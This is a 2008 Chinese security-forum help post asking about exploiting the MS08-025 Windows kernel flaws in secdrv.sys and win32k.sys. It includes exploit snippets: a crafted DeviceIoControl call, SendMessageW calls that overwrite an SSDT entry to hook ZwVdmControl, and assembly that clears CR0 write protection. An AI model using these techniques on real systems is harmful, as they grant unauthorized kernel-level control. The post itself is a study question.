首页
社区
课程
招聘
[旧帖] [求助]关于ms08025的一些疑问? 0.00雪花
发表于: 2008-5-30 23:31 2879

[旧帖] [求助]关于ms08025的一些疑问? 0.00雪花

2008-5-30 23:31
2879
最近了解了一下ms08025漏洞
资料分析知,在win32k.sys和secdrv.sys都存在漏洞
对于secdrv.sys具体分析见
21eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0D9L8$3N6Q4x3X3g2U0M7$3c8F1i4K6u0W2L8X3g2@1i4K6u0r3c8s2u0&6c8X3W2K6d9p5S2Q4x3V1k6S2M7X3y4Z5K9i4k6W2i4K6u0r3x3U0l9H3y4#2)9J5c8U0p5J5i4K6u0r3x3e0W2Q4x3V1j5I4z5e0f1K6x3o6t1@1i4K6u0W2j5i4y4H3P5l9`.`.
两种exp方法我都试了,通过HOOK SSDT中一个不常用的函数ZwVdmControl,而且都成功了,
但是根据以往经验通过驱动HOOK SSDT,首先要
通过
mov eax ,cr0
and eax,0FFFEFFFF;
mov cr0,eax
去掉内存保护。
但这次却不需要??
此外
*(PDWORD)InputBuffer = 0x1;
*(PDWORD)((DWORD)InputBuffer + 0x4) = 0x96;//只有在 = 0x96 时HOOK才能成功!????,分析了一下secdrv,找到了出错的函数,但分析没有头绪!
DeviceIoControl( deviceHandle,0xca002813,InputBuffer,4,(PVOID)HookAddress,4,&dwReturnSize,NULL );

此外
再利用win32k.sys漏洞时,每次SendMessageW都会覆盖lpHookAddress指向的两个字节为0;
SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, lpHookAddress );
SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, lpHookAddress+0x2 );
                                                                                                            //HookAddress =0x804E4150(ZwVdmControl()函数入口在SSDT中地址(xp sp2)
                                                                                                           //ZwVdmControl()在SSDT中index为0x10c,所以可通过SSDT+4*010c计算其地址
两次SendMessageW()后,通过Windbg    dd 0x804E4150    已被覆盖为0x0000  ,HOOK成功!
但通过通过IceSword观察SSDT,所有函数入口地址都被改变了???
应该只有ZwVdmControl()被hook!

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回